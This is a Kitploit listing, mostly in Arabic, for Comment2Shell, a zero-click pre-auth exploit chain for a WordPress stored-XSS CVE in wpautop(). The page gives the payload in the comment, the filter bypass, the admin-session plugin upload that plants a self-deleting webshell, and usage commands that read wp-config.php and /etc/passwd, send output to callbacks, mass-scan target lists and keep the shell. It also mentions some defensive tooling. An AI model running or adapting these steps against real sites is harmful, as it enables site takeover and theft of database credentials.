Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Comment2Shell — سلسلة استغلال Zero-click pre-auth لثغرة WordPress CVE-2026-93485: XSS مخزّن في wpautop() يتصاعد إلى رفع إضافة عبر جلسة المسؤول وwebshell ذاتي الحذف، مع ماسح ضوئي وshell وقالب Nuclei. | Kitploit
أدوات/GitHubGitHub/deathshotxd/comment2shell
ماسحات الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبما بعد الاستغلالالمحاكاة الافتراضية للأمانأمن الويباختبار الاختراقالفريق الأحمرتطوير الحمولاتمختبرات وتدريب عملي
GitHub
651659منذ شهر واحدتمت المراجعة من قبل Kitploit
deathshotxd/comment2shell

Comment2Shell

سلسلة استغلال Zero-click pre-auth لثغرة WordPress CVE-2026-93485: XSS مخزّن في wpautop() يتصاعد إلى رفع إضافة عبر جلسة المسؤول وwebshell ذاتي الحذف، مع ماسح ضوئي وshell وقالب Nuclei.

عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Comment2Shell

Comment2Shell هو إثبات مفهوم شامل لثغرة CVE-2026-93485، وهي XSS مخزّنة قبل المصادقة في نواة WordPress ضمن wpautop() تتطور إلى تنفيذ تعليمات برمجية عن بُعد داخل جلسة مسؤول. يقوم تعليق مجهول بزرع الحمولة؛ وعندما يفتح المسؤول المقال، يرفع المتصفح إضافة webshell، وينفّذ أمرًا، ثم يحذف القشرة مرة أخرى. السلسلة بأكملها في ملف Python واحد بلا أي اعتماديات.

شعار Comment2Shell

CVE-2026-93485، CVSS 7.1 HIGH، قبل المصادقة، بنقرة صفرية، تم إصلاحها في 7.1.1

طرفية متحركة: سلسلة الاستغلال من البداية إلى النهاية


ما هو Comment2Shell؟

Comment2Shell هو استغلال وعدة مختبر محلي لثغرة CVE-2026-93485. تكمن الثغرة في wp-includes/formatting.php، في مرشّح الفقرات wpautop() الذي يعمل وقت العرض على نص التعليق. يتحول سطر جديد داخل خاصية blockquote cite إلى عنصر نائب لتعليق HTML؛ فيتوقف التعبير النمطي الذي يغلّف الاقتباسات عند أول > ويحقن وسم فقرة في منتصف الخاصية، ثم يفسّره المتصفح كمعالج onfocus. وتُشغّله خاصية autofocus بنقرة صفرية.

تغطي الأداة السلسلة بأكملها: فحص إصدار سلبي، وفحص XSS غير ضار، والاستغلال الكامل من قبل المصادقة إلى RCE، وقشرة تفاعلية، وفحص دفاعي لمؤشرات الاختراق.


لا يحتاج الاستغلال إلى حساب، ولا nonce، ولا تفاعل يتجاوز قيام المسؤول بعرض المقال. كل ما يلزم هو أن تكون التعليقات مفتوحة.


Comment2Shell - CVE-2026-93485

لماذا هذا مهم

يشغّل WordPress حصة كبيرة من الويب، وwpautop() جزء من النواة، لذا يُشحن المرشّح المصاب في كل تثبيت متأثر بغض النظر عن القالب أو الإضافة. الـ XSS مخزّنة، وقبل المصادقة، وبنقرة صفرية. ولأنها تُنفَّذ في جلسة المسؤول، فهي أكثر من مجرد ثغرة تشويه: فملف تعريف ارتباط المسؤول يكفي لتثبيت إضافة، وتثبيت إضافة هو تنفيذ تعليمات برمجية عشوائية.

صدر الإصلاح في WordPress 7.1.1 مع ترقيعات خلفية عبر 25 فرعًا، وصولًا إلى 4.7.36. كل إصدار من 4.7.0 حتى 7.1.0 متأثر.

العرض التوضيحي


عرض توضيحي لـ Comment2Shell


تشغيل في مختبر مُتحكَّم به ضد WordPress 7.1.0: يزرع تعليق مجهول الحمولة، ويشغّل فتح المسؤول للمقال سلسلة النقرة الصفرية، فيُرفع webshell، وتعود مخرجات الأمر، ثم تحذف القشرة نفسها. يُبلّغ عنوان تبويب المتصفح عن النتيجة، إما Comment2Shell: shell uploaded أو Comment2Shell: admin login required. راجع docker/README.md للإجراء الدقيق.

المساهمة البحثية

لا يدّعي Comment2Shell اكتشاف الثغرة. فقد أبلغ عنها رافي محمد (Awesome Motive) عبر برنامج HackerOne الخاص بـ WordPress وأُصلحت في 7.1.1. المساهمة هنا هي تنفيذ قابل لإعادة الإنتاج وبلا اعتماديات للسلسلة الكاملة:

  • شروط المرشّح وقت العرض التي تسمح للحمولة بتجاوز KSES
  • باني ZIP داخل المتصفح بحيث لا يحتاج رفع الإضافة إلى ملف خارجي
  • تنظيف تلقائي، حيث يفكّ webshell ارتباطه بنفسه بعد تنفيذ الأمر
  • أدوات الفريق الأزرق: قالب nuclei، وسكربت مؤشرات اختراق، واستعلامات سجلات

مسار الهجوم

تعليق مجهول، ثغرة wpautop، XSS بنقرة صفرية، عرض المسؤول، تنفيذ تعليمات برمجية عن بُعد


1. Anonymous comment submission (no auth, no nonce)
   POST /wp-comments-post.php
   <blockquote cite="a\nb"><code>x" onfocus=... autofocus>
   KSES allows blockquote[cite] and code; the newline in cite survives.

2. Display-time filter chain (the bug)
   wpautop() at formatting.php:563:
     preg_replace('|<p><blockquote([^>]*)>|', '<blockquote$1><p>')
   [^>]* stops at the > inside the <!-- wpnl --> comment,
   so a <p> gets injected inside the cite attribute.

3. wptexturize() seals the attribute (block themes)
   Outer " becomes &#8221; (curly quote).
   The " inside <code> stays straight (no-texturize list).
   The browser then parses onfocus/autofocus as real attributes.

4. Zero-click XSS in the admin session
   autofocus fires onfocus on page load, no click needed.
   JS runs with the admin cookies.

5. Admin session -> plugin upload -> RCE
   GET /wp-admin/plugin-install.php, extract the nonce.
   Build ZIP in memory, POST update.php?action=upload-plugin.
   Webshell lands at wp-content/plugins/<rand>/<rand>.php.
   GET /wp-content/plugins/<rand>/<rand>.php?c=id

المتطلبات

  • التعليقات مفتوحة على منشور منشور (افتراضي)
  • يُسمح بالتعليق المجهول (افتراضي، comment_registration=0)
  • قالب كتلة نشط (افتراضي منذ Twenty Twenty-Two)
  • مسؤول يعرض المنشور أثناء تسجيل الدخول
  • Python 3.8+ (المكتبة القياسية فقط)

التثبيت

git clone https://github.com/DeathShotXD/Comment2Shell.git
cd Comment2Shell
python3 comment2shell.py --help

Python 3.8+ مكتبة قياسية فقط، بدون pip install.

الاستخدام

فحص الإصدار السلبي

# Single target
python3 comment2shell.py --scan -t https://target.com

# Batch scan
python3 comment2shell.py --scan -f targets.txt --threads 20

# From a pipeline
subfinder -dL targets.txt | httpx -title | \
  grep -i wordpress | python3 comment2shell.py --scan --stdin

# JSON output
python3 comment2shell.py --scan -t https://target.com --json -o results.json

يحمل كل كائن نتيجة هذه الحقول:

الحقلالمعنى
targetعنوان URL الهدف المُطبَّع
wordpresstrue عند اكتشاف WordPress
versionالإصدار المكتشف، أو null
version_methodكيفية العثور على الإصدار، على سبيل المثال meta أو readme
vulnerabletrue أو false أو null عندما يكون الإصدار غير معروف
post_idمعرّف منشور قابل للتعليق، أو null
errorسلسلة خطأ، أو null

فحص XSS النشط

# Submit the benign detection payload (sets document.title)
python3 comment2shell.py --probe -t https://target.com

# With an OAST callback
python3 comment2shell.py --probe -t https://target.com \
  --callback https://your-id.oast.example

سلسلة استغلال كاملة للوصول إلى تنفيذ الأوامر

يُطلق حمولة الاستغلال alert("Comment2Shell XSS - CVE-2026-93485") عند تحميل الصفحة (بنقرة صفرية عبر autofocus). اعرض المنشور أثناء تسجيل الدخول بصفتك مسؤولاً. يصبح عنوان التبويب بعد ذلك Comment2Shell: shell uploaded عند النجاح، أو Comment2Shell: admin login required إذا لم تكن لدى المتصفح جلسة مسؤول.

# Run a command, then delete the shell
python3 comment2shell.py -t https://target.com -c "id"

# Read wp-config.php
python3 comment2shell.py -t https://target.com -c "cat wp-config.php"

# Wait longer for the admin to view the post (default 45s)
python3 comment2shell.py -t https://target.com -c "id" --wait 60

# Keep the webshell after execution
python3 comment2shell.py -t https://target.com -c "id" --no-cleanup

# With an OAST callback
python3 comment2shell.py -t https://target.com \
  -c "cat /etc/passwd" \
  --callback https://your-id.oast.example

# Known-commenter approval bypass
python3 comment2shell.py -t https://target.com \
  -c "whoami" --known-commenter

# Through a proxy
python3 comment2shell.py -t https://target.com \
  -c "id" --proxy http://127.0.0.1:8080
تنزيل الأداة